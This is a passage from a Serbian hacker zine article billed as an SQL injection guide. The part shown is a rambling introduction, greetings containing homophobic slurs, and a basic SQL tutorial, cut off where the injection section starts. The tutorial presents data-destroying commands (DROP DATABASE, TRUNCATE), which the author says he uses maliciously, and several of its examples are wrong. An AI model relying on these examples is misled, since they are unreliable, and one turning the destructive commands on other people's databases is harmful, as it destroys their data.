..................... ...::: phearless zine #4 :::... .................>---[ TINY phile about SQL injections ]---<................. .........................>---[ by _bl00dz3r0_ ]---<.......................... blood.pl[at]gmail[dot]com >=---- [0x00] % Ma ja sam neki tamo dr mr!!! <0x00a> Necu dugo! Majke mi! <0x00b> Zelje i cestitke... <0x00c> Zoki kaze.... <0x00d> A vi kako te? [0x01] % Look mum I'm a progrrmar... <0x01a> SQL - osnova svega <0x01b> SELECT <0x01c> WHERE <0x01d> IN i BETWEEN <0x01e> Manipulacija tabelama. <0x01f> Napredni SQL [0x02] % SQL Injection's Big Kahuna <0x02a> Hi my name is inekcija Sql inekcija <0x02b> SQL manipulation <0x02c> Three musketeers <0x02d> BLind SQLinjection <0x02e> Hacking logins <0x02f> User manipulation [0x03] % bl00d has no more! <0x03a> Play it again Sam >=---- /////////////////////////////////////////////////////////////////////////////// --==<[ 0x00 % Ma ja sam neki tamo dr mr!!! \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ==-[ 0x00a % Necu dugo! Majke mi! "A ko mi je kriv, sto te zavoleh ludo, bili smo drugovi, pa ljubav probali, a sad nijedno ni drugo...." --Miroslav Ilic Eto postao sam sajber zvezda...ljudi me prepoznaju.... jujuju.... :) ala je lep ovaj svet...vamo ovo...hehe | Sta ces boles nebira de udara... | Elem, | ...mesec...dva....meseca...jos pola meseca...nema ph zinea smrc smrc ma sta | smrc BRE TO carevi! Onako sam se smarao kao invalid u skejt parku citajuci | one brontosaurus tekstove od nekog blooda neka cuda-muda covek ne ume da na-| pise normalan tekst ko svi ljudi na ovom svetu od 15 strana , a ne ovako pih| E PRC! | Evo mene opet u jos jednom izdanju pH zine-a i to po CAK cetvrti jubilarni | put (meni je svaki jubilarni). Svi vi zlobnici koji ste se ponadali da smo se raspali i slicno mozete odahnuti jel nismo tek cemo muciti vase napacene bi-| narne geek umove jos barem narednih 15 decenija. A i deste videli da se "ha-| keri" odmaraju? | | Jel ste vi uopste gledali film Hakeri (mmm andjelina, polako| prelazim preko ....m#*R)$_) .... | Jeste da sam obecao da necu dugo al sta ces ko zna gde ce nas moj bolesni | um odvesti! Stoga spremite se za jos jedno nezaboravno putovanje kroz...a to| je neka druga prica sorry. | Obecavam da ce biti kraci od citanke za 8 razred ...a prevario sam vas :) | A kako te vi? | Kako ide u grad? | Dok sam vas u prethodnim brojevima trpao o nekim vatrenim zidovima spanskim| zidovima i serijama, o zatvoru i kako pobeci iz istog ovaj ce biti mozda jos zanimljiviji jel se tice teme koju svaki aker mora poznavati. Tematika SQL | Inekcija (boc boc) je uvek bila primamljiva i neophodna tehnika svih ultra | mega giga uber akercina. Zato sa paznjom proucite tekst jel ovo je jebeni | __ULTIMATIVNi-VODIC-za-SQL-iNEKCIJE-za-sve-HAKERE-na-nasim-PROSTORIMA__ ;0. | Postojalo je par tekstova izmedju ostalog i u ph zine #1 o SQL bockama ali | licno smatram da nisu preterano interesantni niti obimni za ovako vaznu tema- tiku. Ipak ova tema zasluzuje da bude nasiroko obradjena i da joj se posveti| puna paznja a ne par linija :)......uh JEBOTE e to vam se zove prosto prosi- rena recenica...a i nije samo stvar u inekcijama ima nesto i u zlatu ovaj u ostlalim tehnikama :) | Stoga sam kao savestan gradjanin ove zemlje odlucio da ja napisem sve sto | znam o SQL Injection i da vama prenesem to moje golemo znanje :))). | Pokusacu da budem sto kraci (haha sala mala) ...smrc smrc ...i sto jasniji u| (sala velika) svakom slucaju ako nekada odlucite da istampate moj tutor bi- | ce dosta toalet papira od njega ili dobre vatre :). Ali zamislite da iz njega mozete jos nesto nauciti ...uf to bi bilo ekstra. | Eh samo kad se setim...ovaj nista Najjace sto ovaj tekst pisem 2 dana pred shaterov Crni petak ovaj cetvrtak | tj strasni sud tj deadline...Da on sada ovo zna da ce me cekati jos par da- | na i posle tog najavljenog deadline ubio bi me al cutite on to jos nezna tek| treba da mu saopstim. Ja evo sedim na poslu i reko ajde da pocnem da skucam | to pa da idem kuci da jedem. Inace najvise mi inspiracije naidje kada prodje| deadline ali sada mi je curica dala inspiraciju :) | Tj bio sam ja poceo tekst ali stigao sam do uvoda tako da cete mozda u sl-| decem broju eksluzivno videti sta sam to zvrljao :). Eto sta ces kad te sus-| tignu godine, obaveze, dugovi propao brak ..deca placu traze plazmu... | grejanja nema , zejtina ni od korova...krov prokisnjava ...kuce zavezano lan- cem...itd UPDATE: danas je nedelja ja jos pisem tekst :) rekao sam vam ... | Sve u svemu ja inace pisem ovaj Uvod sto duzi da bi tekst izgledao duze i | ozbiljnije jel kad nas covek vidi tekst na 30 strana on JEDNOSTAVNO mora biti dobar nema tu dalje da se cita kad vidis broj 30 JEBOTE al se covek naradio | a u stvari nema pojma da mi uvod i greetz otpada 60% jel cete videti najveci| greetz u istoriji covecanstva.... | Da vas zamajavam jos malo ...posto je sezona pticijeg gripa samo preporuka| da jedete mesano meso ili krastavcice. | Eto toliko.... | E da moram jedan kratak log koji se desava upravo sada dok pisem tekst | | moze ko poslat sms exoduksu da dodje na net? | <_bl00dz3r0_> a mozes ti meni reci gde ima da se uzmu cvarci i kavurma? | xaaaaaaaaaaaaxaxaxaxaxaxaaxxa..xa..xaxa.xa....znaci valjam se..... | sorry geyz bilo je jace od mene :) | ==-[ 0x00b % Zelje i cestitke.... | | moze da pozdravi koj koga oce! | Pazi sad ovu foru taman sam hteo da stavim samo jedan greet mojoj maloj alek- sandri kad ono ajde pozdravim sve koji su mi platiti i one cicije koji nisu.| ZATO POSLEDNJA NAPOMENA ES licimurima i pederima i ovim ostalim da izmire sv- oje dugovanje i uplate svoje neizimirene dugove na sledeci ziro racun: racun: 1337-h4xx0r-1337 Svrha: Dajte impuls zivotu Mislim mojne nije fer vaas reklamiram za dzabe gleda vas milionski auditor- ijum .... REKLAMA BATO!!! +-------------------------------------------------------+ | | | Pinky_jso - Hajjko u vojsku idemo...e to ce biti | | prekid :) | | m4rk0 - castis pice u parizu za ovu reklamu | | Bane Svaler- ZZop za majurskog Don Juana | | Misko - Ti si castio dosta :) | | Pop - 10e | | Tofila - dzok | | dEMO - Litra vodke | | Stevic - aka stevka kroasan | | Alexandar - 50e (mi uzeo) | | Nikola_ - 50e (mu uzeo) | | Sindel - JOOOJ POSTO SAM UJAAAAAAAAA | | Panker - 10e | | Nitro - Orbit | | | | also sh0utz 2: | | dule , nada , sanja , ana , badboy , kermit , gamma | | modche , teryon , mkdsl , milos2pac , r00t Destrojer | | defiler , pawwa....nea..ajde bre dosta izredja ceo | | majur i okolinu | | | | pos pozdrav za: | | Kanale #ugs i #sabac i #linux itd...i naravno za sve| | moje drugove iz BLACKHATZ-a jel zna se ko 0wnz bre!!| | Pozdrav svim majurcima i majurkama (posebno) i | | DJ_MY_SOULA koji konacno moze da bude Kevim M posto | | je nasao knjigu UNIX do kraja (najveca mu odluka u | | zivot).... i opet BLACKHATZ BLACKHATZ :) | | | | i Poljubac jedan veijiki mojoj curi aleksandri ;0 | | (za vas ostale nema imam pticiji grip - prelazno ) | +-------------------------------------------------------+ NAPOMENA: Spisak sam skratio zbog opterecenja servera usled velicine fajla !!! ==-[ 0x00c % Zoki kaze.... Ma kako zoki kaze...OVO JE ZIV KARADJORDJE mrtvog ne pravimo!!!! Samo sam hteo da napomenem koju sam literaturu koristio za ovu Godzilu. Te stoga ako zelite dodatne informacije ili vam ja nisam kobejagi bio dovol- jno jasan obratite se autorima knjiga XXAXX :) Spisak: [=- My beautiful mind (al sam originalan) [=- www.google.com {=- Oracle i PL/SQL neka nasa :) [=- SQL Server Security Distilled, 2nd (ukrao) YUP and thats it! ==-[ 0x00d % A vi kako te? ...kako te... Pa dobro.... Ako imate neka pitanja u vezi teksta , nejasnoce itd predloge mozda HA mozete mi pisati na mail ----> blood.pl@gmail.com DA MI ZELIMO DA CUJEMO od VAS roflmao :))) Samo nemojte da pisete dugacka pisma jel mi smor citati , a i pederi STOP!!! (zapamtite imam samo 2gb na gmail) /////////////////////////////////////////////////////////////////////////////// --==<[ 0x01 % Look mum I'm a progrrmar... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ==-[ 0x01a % SQL - osnova svega Da krenemo i sa nekim ucenjem kobejagi jel sve prethodno sto sam rekao | mozete ladno preskociti jel nista pametno niste mogli da procitate i sve je | to sluzilo da popuni prazan prostor moga neznanja :). | Sada cemo se baciti na prave stvari i kad zavrsim sa vama bicete pravi | _ULTRA_MEGA_1337_SQL_JEBACI_MATERE_ kad vam kazem.... | Krenucemo od samih osnova SQL jezika jel kako biste shvatili SQL inekci-| je ako neznate ni sta je SQL pobogu , to je kao kad bi pravili tortu , nezna- ti sta su orasi....(oserem mi se u poredjenje). | Te stoga cemo lagano obrnuti koju lekciju o samom jeziku jel zaista mismim da neml svrhe da vam samo dam kodove koje cete injectiovati i sl ako neznate ni sta ubacujete niti sta radite cemu sluzi koja izjava ili komanda....pa onda sve dalje dok se BOJE NA EKRANU NE ISTOPE. | Sta je SQL? (pitate se vi , a ja odgovaram) SQL je Struktuirani Upitni Jezik tj na engleskom Structured Query Language.| Kako coul zvuci jebote osecam se kao kralj :). | On ukratko omogucava korisnicima pristup podatcima u sistemima za upravljan-| je relacionim bazama kao sto su vec pomenuti ORACLE, SYBASE, INFOMIX itd. | To je podjezik baza podataka koji sluzi za upite i modifikovanje samih relac- ionih baza. Izmisljen je sredinom sedemdesetih u IBM prostorijama. Inace samo da napomenem da je SQL ANSI standardizovan neke 1986 valjda :) | Sta vi mozete uraditi sa SQL? [=- Raditi upite (queries) [=- Citati podatke iz baze [=- Ubacivati nove podatke u bazu [=- Brisatu podatke iz baze tj recorde [=- Updejtovati unose u bazi .... Da jos napomenem na pocetku da je SQL ekstra lak za ucenje dok ne predjete| na neke naprednije stvari tj relacione baze tipa PL/SQL , a posto mi necemo preci mozete da odahnete i popijete limunadu. :). U Relacionim bazama podataka podatci se smestaju u tabele.Jedna baza poda-| taka obicno sadrzi jednu ili vise tabela. Svaka tabela se moze indetifikovati| preko njenog imena. Tabele sadrze i redove (records) sa podatcima. Tabelu znaci cine kolone i redovi (columns and rows). Svaka kolona predstavlja polje (field). Svaka vrednost polja prikzuje jedan | tip podataka. Ahhh da na rekoh sta je uopste baza podataka. Baza podataka je kolekcija tj | skup poveznaih tabela koje sadrze neke podatke. ETO!!! Sve cu ja vama to lepo da pokazem na primerima jel sam ja fin. ==-[ 0x01b % SELECT Krenucemo sa SELECT osnovnom naredbom. Daklem imamo neku tabelu nazvanu RADNICI sa sledecim podatcima: -Ime -Prezime -Adresa -Grad Ta bi tabela slikovito izgledala ovako. |------------- R A D N I C I ----------------| |_____________________________________________| |Ime | Prezime | Adresa | Grad | |---------------------------------------------| |Srdjan | JEbic | Travska bb | Majur | |---------------------------------------------| | Aca | Guzmanovic| Seljoberska 3| Majur | |---------------------------------------------| | Marko | Markovic | Bila Gejtsa 1| Sabac | |_____________________________________________| Tabela sadrzi 4 kolone: Ime, Prezime, Adresa i Grad i tri reda (records). Wow i sta sad to je to? ne momenat imam poziv na telefon....drug me zove kaze da ima pticiji grip xa| Totalna budala al ide u vojsku da mu se oprostiti.... elem, iz ove tabele mozemo izvuci niz korisnih informacija koje su od sustog| znacaja za nas zivot...salim se :) al da se mogu izvuci nesalim se. Mozemo uraditi upit tj query i tako iz tabele izvuci zeljeni podatak. | To cemo izvesti opstenarodno poznatom komandom __SELECT__ | ==---------[code]----------== SELECT Ime FROM RADNICI; ==---------[/code]---------== Da pojasnimo ovaj zakomplikovani set komandi. Naredbom SELECT smo zatrazili kolonu pod nazivom Ime iz tabele RADNICI i izj- avu zavrsili sa ; sto je klasika u mnogim jezicima. Medjutim u nekim sistemi- ma baza podataka ; se ne koristi. SELECT koristimo da bi izabrali podatke iz tabele. Tabelarni rezultati su | smesteni u RESULT TABLE koji se naziva i result set. Rezultat bi bio: |---RADNICI---| |_____________| | Ime | |-------------| | Srdjan | |-------------| | Aca | |-------------| | Marko | |-------------| Vrlo efikasno koristeci wildcard mozemo izabrati sve podatke. ==---------[code]----------== SELECT * FROM RADNICI; ==---------[/code]---------== Ukoliko zelimo da izaberemo sve kolone van odredjenog tipa koristicemo | kljucnu rec DISTINCT. Ta kljucna rec ce uciniti da nam se vrati samo razlicite vrednosti. Primer: ==---------[code]----------== SELECT DISTINCT Prezime FROM RADNICI; ==---------[/code]---------== Ovim cemo postici da ukoliko se u koloni Prezime nalaze npr dva Marka da se | vrati samo prvi. ==-[ 0x01c % WHERE Sada cemo malo uneti slozenosti sa kljucnom reci WHERE. Opsti oblik naredbe je: ==---------[code]----------== SELECT "ime-kolone" FROM "ime-tabele" WHERE "uslov"; ==---------[/code]---------== Znaciko ako imamo vec tabelu onu RADNICI mozemo je opet iskoristiti da vam | pokazem WHERE kljucnu rec: ==---------[code]----------== SELECT * FROM RADNICI WHERE Grad='Majur'; ==---------[/code]---------== Mislim da je jasno da ce rezultat biti prikaz tabela cija se kolona zvana | Grad poklapa sa reci Majur , tj bice prikazani podatci samo za osobe iz Maju- ra. Sto je donekle i logicno jelte. Naravno da umesto * mozete opet kombinovati itd.... ZNake navodnika koristimo u ovakvim sistemima kada se radi o tekstualnim vre- dnostima , a ukoliko se radi o numerickim onda ne koristimo YEAH! Ovde mozemo koristiti jos par kljucnih reci kako bi sto vise zaprzili corbu | tj zakomplicirali izraze. A to su npr LIKE i LINE. LIKE mozemo koristiti kada zelimo da vratimo podatke za osobu cije ime pocin- je sa nekim slovom npr M. ==---------[code]----------== SELECT * FROM RADNICI WHERE Ime LIKE 'M%'; ==---------[/code]---------== % - je takodje wildcard. ==---------[code]----------== SELECT * FROM RADNICI WHERE Ime LIKE '%la%'; ==---------[/code]---------== Da smo ovo stavili onda bi trazili po unosu koji u sebi sadrzi LA slova. Npr da smo imali Mladen onda bi dobili vrednost. Sa WHERE se stvari mnogo komplikuju jel se mogu smisliti dugacki uslovi. Pomocu razlicitih operatora mozemo nanizati par uslova i tek kada svi budu | zadovoljeni onda ce se akcija izvrsiti. | Prostudiracemo u ovom poglavju jos par primera cisto da ne bude da nisam re-| kao.Da bismo u izrazu imali vise uslova koristicemo operatore AND i OR. Ne postoji limit koliko uslova mozemo staviti. Primer: ==---------[code]----------== SELECT * FROM RADNICI WHERE Grad = 'Majur' AND Ime = 'Marko'; ==---------[/code]---------== Kod WHERE iskaza mozemo koristiti vise operatora te da ih nabrojim: OP. Opis ------|------------- = | Equal,jednako <> | Not Equal , nije jednako > | Greater than , vede od < | Less then , manje od >= | Greater than or equal , vece od ili jednako <= | Less than or equal , manje od ili jednako BETWEEN| pazi sad : Between an inclusive range LIKE | Search for a pattern , trazi po sablonu Pokazacu na jos jednoj tabeli primere operatora ali niste svesni kolko me| to mrzi znaci strasno crtati sve ona sranja MMFMFMMF bre bezi ali moram:) | posao je takav ni ja ga nevolim. |------------- R A D N I C I ---------------------------| |_____________________________________________|__________| |Ime | Prezime | Adresa | Grad | Plata | |---------------------------------------------|----------| |Srdjan | JEbic | Travska bb | Majur | 10000 | |---------------------------------------------|----------| | Aca | Guzmanovic| Seljoberska 3| Majur | 15000 | |---------------------------------------------|----------| | Marko | Markovic | Bila Gejtsa 1| Sabac | 12000 | |_____________________________________________|__________| Kao sto vidite cak smo morali da prosirimo tabelu za dodatnu kolonu PLATA. Sada cemo vrsiti razne opite na ovoj tabeli. ==---------[code]----------== SELECT * FROM RADNICI WHERE Plata>13000; ==---------[/code]---------== Rezultat ce biti samo redovi koji ispunjavaju uslov da je Plata veca od 13000 sto znaci da ce biti prikazani podatci za Acu samo. Ostala dva ne ispunjavaju uslov. Isto tako mozete stavljati ostale operatore vazno je da shvatite po- entu nisam debil da vam pokazujem primer za svaki operator nemam LISTOVA bre. Ajde ocemo sada npr da prikazemo Imena radnika koji su iz Majura , a da imaju platu vecu od 11000. Iz primera cisto vidimo da je to samo Aca. Ali kako da dobijemo to :) programski ... ==---------[code]----------== SELECT Ime FROM RADNICI WHERE Plata > 11000 AND Grad = 'Majur'; ==---------[/code]---------== Kombinacija ima previse da bih ovde razglabao :). ==-[ 0x01d % IN i BETWEEN Operatori IN i BETWEEN vam mogu posluziti kao laksi nacin za kombinovanje| uslova. Pokazacemo to na prostom primeri. Zamislite da zelite da iz tabele RADNICI | dobijete Imena radnika koji su iz Grad-a Majur.Pokazacu kako cete to izvesti| ali ovaj put koristeci doticne operatore. ==---------[code]----------== SELECT Ime FROM RADNICI WHERE Grad IN ( 'Majur' ); ==---------[/code]---------== Primer koriscenja BETWEEN operatora. ==---------[code]----------== SELECT Ime FROM RADNICI WHERE Plata BETWEEN 10000 AND 20000; ==---------[/code]---------== Izvrsice prikaz imena radnika iz tabele RADNICI ukoliko ispune uslov da im | je plata izmedju 10000 i 20000. Prosot bre ko pasulj :0 ==-[ 0x01e % Manipulacija tabelama Malo cu vas poduciti kako mozete manipulisati tabelama i tabelicama. Prvo cemo videti cemu sluzi naredba INSERT INTO. Ova izjava se koristi da bi ubacili nove redove u tabele. Opsta sintaksa komande je: ==---------[code]----------== INSERT INTO ime_tabele VALUES (vrednost1,vrednost2...) ==---------[/code]---------== Izvescemo kratak primer na onoj nasoj tabeli RADNICI: ==---------[code]----------== INSERT INTO RADNICI VALUES ('Mladen', 'Sevic', 'JNA', 'Majur'); ==---------[/code]---------== Ovim smo dodali novi red u postojecu tabelu. Sada cemo pored Srdjana, Ace | marka imati i mladena sa njegovim podatcima pa ce tabela izgledati ovako: |------------- R A D N I C I ----------------| |_____________________________________________| |Ime | Prezime | Adresa | Grad | |---------------------------------------------| |Srdjan | JEbic | Travska bb | Majur | |---------------------------------------------| | Aca | Guzmanovic| Seljoberska 3| Majur | |---------------------------------------------| | Marko | Markovic | Bila Gejtsa 1| Sabac | |---------------------------------------------| | Mladen| Sevic | JNA | Majur | |_____________________________________________| Podatke mozemo ubacivati i u odredjenu kolonu tako sto cemo je navesti: ==---------[code]----------== INSERT INTO RADNICI (Ime, Grad) VALUES ('Konj', 'Pariz'); ==---------[/code]---------== Upravo smo u kolone Ime i Grad dodali vrednosti Konj i Pariz , pa ce nasa tabela da izgleda ovako: |------------- R A D N I C I ----------------| |_____________________________________________| |Ime | Prezime | Adresa | Grad | |---------------------------------------------| |Srdjan | JEbic | Travska bb | Majur | |---------------------------------------------| | Aca | Guzmanovic| Seljoberska 3| Majur | |---------------------------------------------| | Marko | Markovic | Bila Gejtsa 1| Sabac | |---------------------------------------------| | Mladen| Sevic | JNA | Majur | |---------------------------------------------| | Konj | | | Pariz | |_____________________________________________| Mislim da je ovo ipak savrseno jasno...e da jbt jutros ustanem ja u 5 opet | da kao odem na regrutaciju drugi put kad zaboravim licnu i sta ces vrate me opet :) sto znaci dodjem na posao u pola 6 i pisem zine jbt koji sam ja lik. Mada mozda sam trebao prvo pokazati kako kreirati tabelu lol ..al nikad nije| kasno...da se ljubi strasno..ne greska. Znaci normalno je da bi tabele punili podatcima da te tabele moraju u nekom | trenutku i da se naprave tj da postoje.Jel kako puniti nesto sto nepostoji | necim sto postoJI? Onda ni to sto postoji ne bi postojalo. Opsta sintaksa je sledeca: ==---------[code]----------== CREATE TABLE Ime_tabele ( ime_kolone1 tip_podatka ime_kolone2 tip_podatka ) ==---------[/code]---------== Najbolje ovo mozemo shvatiti tako sto cu vam pokazati na primeru. Ajde da probamo da kreiramo tabelu pod imenim RADNICI sa sledecim poljima. | [=- Ime [=- Prezime [=- Adresa [=- Grad [=- Plata ==---------[code]----------== CREATE TABLE RADNICI ( Ime varchar(15), Prezime varchar(20), Adresa varchar, Plata int(9) ) ==---------[/code]---------== Ovi brojevi unutar zagrada oznacavaju maksimalnu velicinu za date kolone. Navescemo i tipove podataka sa kojima cemo raditi: [=- Char - Kolona znakova. [=- Int - Kolona celih brojeva [=- Date - Kolona datuma [=- Logical- TRUE ili FALSE [=- Decimal- Kolona decimalnih brojeva ima oblik Decimal(x,y) gde je x max broj cifara decimalnih brojeva u koloni , a y max broj dopustenih cifara iza dec- imalne tacke. [=- varchar- Sadrzi varijablu, moze da sadrzi brojeve slova.... Kada govorimo o tabelama vazno je da pomenemo i Indexe. Indeksi omogucavaju sistemima za upravljanje podataka da brze pristupe pod- | atcima.Sistem u stvari kreira internu strukturu podataka koja dovodi do brz- eg odabira redova. Indeks ukazuje sistemu gde se u tabeli nalazi neki red ako je data vrednost indeksirane kolone. Tako cete redove pronalaziti brze i efikasnije. Korisnici nece videti te indekse samo ce im ubrzati upite. Prvo cu vam poka-| zati kako napraviti Jedinstven Indeks tj UNIQUE INDEX, sto znaci da dva reda nemogu imati istu vrednost indeksa. ==---------[code]----------== CREATE UNIQUE INDEX ime_indeksa ON ime_tabele (ime_kolone) ==---------[/code]---------== To je opsti oblik komande. Sada cemo videti i primer simple indexa tj prostg. Kreiracemo indeks nazvan IMEINDEX u koloni Ime u tabeli RADNICI. ==---------[code]----------== CREATE INDEX IMEINDEX ON RADNICI (Ime) ==---------[/code]---------== ...and to je to narode! Pokazacemo sada rad na naredbi UPDATE koja je takodje sastavni deo SQL jezika Ova izjava se koristi kako bi modifikovali podatke u tabelama. ==---------[code]----------== UPDATE ime_tabele SET ime_kolone = nova_vrednost WHERE ime_kolone = neka_vrednost ==---------[/code]---------== Secate se primera gde smo ubacili Konja iz Pariza u tabelu ali ostale pod- atke nismo ubacili. Eako se ne secate pogledajte gore ako se secate da nast- avimo. Zelimo da Konj dobije i prezime to mozemo lako postici sa UPDATE naredbom. ==---------[code]----------== UPDATE RADNICI SET Prezime = 'SKonjic' WHERE Ime = 'Konj'; ==---------[/code]---------== Sada ce nasa tabela izgledati ovako: |------------- R A D N I C I ----------------| |_____________________________________________| |Ime | Prezime | Adresa | Grad | |---------------------------------------------| |Srdjan | JEbic | Travska bb | Majur | |---------------------------------------------| | Aca | Guzmanovic| Seljoberska 3| Majur | |---------------------------------------------| | Marko | Markovic | Bila Gejtsa 1| Sabac | |---------------------------------------------| | Mladen| Sevic | JNA | Majur | |---------------------------------------------| | Konj | Konjic | | Pariz | |_____________________________________________| KULLLLL brate a ? Od osnovnih naredbi SQL jezika ostalo nam je jos DELETE izjava koja sluzi | da brise redove iz tabele. Opsta oblik sintakse je: ==---------[code]----------== DELETE FROM ime_tabele WHERE ime_kolone = vrednost ==---------[/code]---------== Mislim da je ovde sve jasno samo cemo videti primer: ==---------[code]----------== DELETE FROM RADNICI WHERE Prezime = 'Sevic' ==---------[/code]---------== Tada brisemo sve unose o Mladenu Sevicu tj ceo red. Evo i jedan koristan primer kako nekom da obrisemo sve redove (trebace nam) ==---------[code]----------== DELETE * FROM RADNICI ==---------[/code]---------== xixixxi jebali smo mu kevu. ==-[ 0x01f % Napredni SQL Ovo je poglavlje u kojem cemo malo ALI SAMO malo da zaronimo u neke napre- dnije stvari u jeziku SQL. Jel ovo nije prirucnik za SQL niti me ko placa za ovo tako da fuck off! ;0 Dobicete par osnovih objasnjena o nekim naprednijim stvarima koje se ticu SQL pa bih vas molio da se posvetite izucavanju materije iz neke druge SQL relat- ed knjige. Sada cemo nauciti jednu ekstra opasnu naredbu UUUUU od koje se ledi krv u zi- lama svim dba ...naredba DROP. Ajde kao niste culi "brzo dropuj mu tabelu" i sl tehnicke i geek izraze kojim se napucavaju na IRC-u. Jeps! Naredbom DROP mozemo dropovati tj izbrisati celu tabelu ili npr samo indeks. Ukoliko zelimo da izbrisemo tabelu i izbrisemo sve: ==---------[code]----------== DROP TABLE ime_tabele ==---------[/code]---------== Tako malo a tako zajebano :) Ali jos zajebanije je izbrisati celu bazu. ==---------[code]----------== DROP DATABASE db_ime ==---------[/code]---------== ...strasne stvari rodjaci. Ovim smo jednostavno izbrisali celu bazu i nema je vise. RIP! ==---------[code]----------== DROP INDEX ime_tabele.ime_indeksa ==---------[/code]---------== Ovo je bila sintaksa za DROP indeksa. Ukoliko ne zelimo da brisemo tabele vec samo da ih ispraznimo koristicemo naredbu TRUNCATE. ==---------[code]----------== TRUNCATE TABLE ime_tabele ==---------[/code]---------== (Ovo volim da koristim u svoje maliciozne svrhe, bas sam zloban). ALTER TABLE je jedna zanimljiva naredba jel moze da se koristi za DROP kolona ili dodavanje novih kolona. ==---------[code]----------== ALTER TABLE ime_tabele ADD ime_kolone tip_podatka ==---------[/code]---------== Prosto ..sta je sta vec sam objsanio tipove podataka imate vec nabrojane. A drop se radi ovakO: ==---------[code]----------== ALTER TABLE ime_tabele DROP COLUMN ime_kolone ==---------[/code]---------== Ocemo da iz nase tabele RADNICI izbrisemo kolonu Plata: ==---------[code]----------== ALTER TABLE RADNICI DROP COLUMN Plata ==---------[/code]---------== .....UPDATE promena imena teksta u ovaj sto gore stoji sada nema vise naziva BLACK ART OF SQL injection's jel jebote mnogo pisem o svemu ostalom :)... pisem uopste o SQL sigurnosti a ne samo o SQL inekcijama. update 2 vracam se na sql inekcije :) ..nastavak Nastavljamo sa naredbom ORDER BY koja sluzi za sortiranje redova. Zamislite da ocemo ona imena da poredjamo po alfabetu, zamislili ste ok :) ==---------[code]----------== SELECT Ime FROM RADNICI ORDER BY Ime ==---------[/code]---------== Sada ce imena biti poredjana po alfabetu. Ukoliko na kraj dodamo kljucnu rec DESC podatke cemo sortirati u kontra smeru tj unazad znaci ako sortiramo imena po alfabetu prvo ce biti podatak na z a zadnji na a. ==---------[code]----------== SELECT Ime FROM RADNICI ORDER BY Ime DESC ==---------[/code]---------== AJmo jos malo da se smaramo sa SQL osnovama :) UNION komanda ....se koristi u cilju selektovanja odgovarajuce informacije | iz dve tabele. Slicna je JOIN komandi koju tek treba da obradimo. Kada koristimo UNION sve kolone koje se koriste moraju imati isti tip podat- aka. Znaci pomocu UNION-a mozemo dobiti rezultate vise upita zajedno. Opsti oblik naredbe je: ==---------[code]----------== SQL Izjava1 UNION ALL SQL Ijava2 ==---------[/code]---------== Zamislite da imamo sledece dve tabele: |------------- R A D N I C I ----------------| |_____________________________________________| |Broj | Prezime | Adresa | Grad | |---------------------------------------------| | 1 | Kurtic | Travska bb | Majur | |---------------------------------------------| | 2 | Miskovic | Seljoberska 3| Majur | |---------------------------------------------| |------------- R A D N I C I_DVA-------------| |_____________________________________________| |Broj | Prezime | Adresa | Grad | |---------------------------------------------| | 1 | BUlazna | TUtorska | Majur | |---------------------------------------------| | 2 | Kurtic | Travska bb | Majur | |---------------------------------------------| I sada pazite ovo: ==---------[code]----------== SELECT Broj FROM RADNICI UNION SELECT Broj FROM RADNICI_DVA ==---------[/code]---------== Rezultat ce biti: |-------------------------------------| | Kurtic | Travska bb | Majur | |-------------------------------------| | Miskovic | Seljoberska 3| Majur | |-------------------------------------| | Kurtic | Travska bb | Majur | |-------------------------------------| Kada bi stavili: ==---------[code]----------== SELECT Broj FROM RADNICI UNION ALL SELECT Broj FROM RADNICI_DVA ==---------[/code]---------== Prikaz ce biti: |-------------------------------------| | Kurtic | Travska bb | Majur | |-------------------------------------| | Miskovic | Seljoberska 3| Majur | |-------------------------------------| | Kurtic | Travska bb | Majur | |-------------------------------------| | Kurtic | Travska bb | Majur | |-------------------------------------| Operator IN se koristi kada znamo tacnu vrednost kolone koju zelimo da vrati- mo. ==---------[code]----------== SELECT ime_kolone FROM ime tabele. WHERE ime_kolone IN (vrednost1,vrednost2,..) ==---------[/code]---------== A sada smor BOze najteza komanda za objasniti JOIN e to je smrt tek ali mora se. Salim se uopste nije teska ;0 Ova komanda je slicna UNION komandi i koristi se za kada zelimo da izvadimo | podatke iz dve tabele. Malo cu ovde pomenuti i kljuceve tj KEYs koji su veo- va vazni u SQL jeziku. Naime da kazem sta je primarni kljuc. Primarni kljuc je kolona cija je vred- nost unikatna za svaki red. Njegova uloga je povezivanje podataka u tabelama. Prvo cemo videti primer INNER JOIN izjave.Opsti oblik naredbe je : ==---------[code]----------== SELECT polje1, polje2, polje3 FROM tabela1 INNER JOIN tabela2 ON kljuc_tabele1 = kljuc_tabele2 ==---------[/code]---------== Sada ako imamo sledece tabele sa podatcima: _______ R A D N I C I______ | BROJ | Ime | |-------------------------| | 1 | Srdjan | |-------------------------| | 2 | Marko | |-------------------------| | 3 | Sinisa | |-------------------------| | 4 | Mladen | |-------------------------| I imamo tabelu sa proizvodima: ________R O B A ________________ | IDRobe | Proizvod | BROJ | |------------------------------| | 821 | Smoki | 1 | |------------------------------| | 232 | Ratluk | 2 | |------------------------------| | 122 | Stapic | 1 | |------------------------------| Na vec klasicne i konvencionalne nacine mozemo izvuci podatke tipa ko je sta kupio i sl. Npr zelimo da vidimo sva imena zaposlenih i proizvode npr: ==---------[code]----------== SELECT RADNICI.Ime, ROBA.Proizvod FROM RADNICI, ROBA WHERE RADNICI.BROJ=ROBA.BROJ ==---------[/code]---------== Rezultat bi bio: ______________________________ | Ime | Proizvod | |----------------------------| | Srdjan | Smoki | |----------------------------| | Marko | Ratluk | |----------------------------| | Srdjan | Stapic | |----------------------------| A koristeci INNER JOIN to mozemo uraditi na sledeci naciN: ==---------[code]----------== SELECT RADNICI.Ime, ROBA.Proizvod FROM ROBA INNER JOIN Orders ON RADNICI.BROJ=ROBA.BROJ ==---------[/code]---------== Rezultat bi bio potpuno isti. /////////////////////////////////////////////////////////////////////////////// --==<[ 0x02 % SQL Injection's Big Kahuna \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ==-[ 0x02a % Hi my name is inekcija Sql inekcija Sta je to SQL inekcija? Pa to vam je glavna fora :) Trik je u tome indzektovati tj ubaciti neki SQL query ili komandu kao ulaz ko| risteci samo WEB. Daklem sve sto vam treba je WEB browser i malo poznavanja 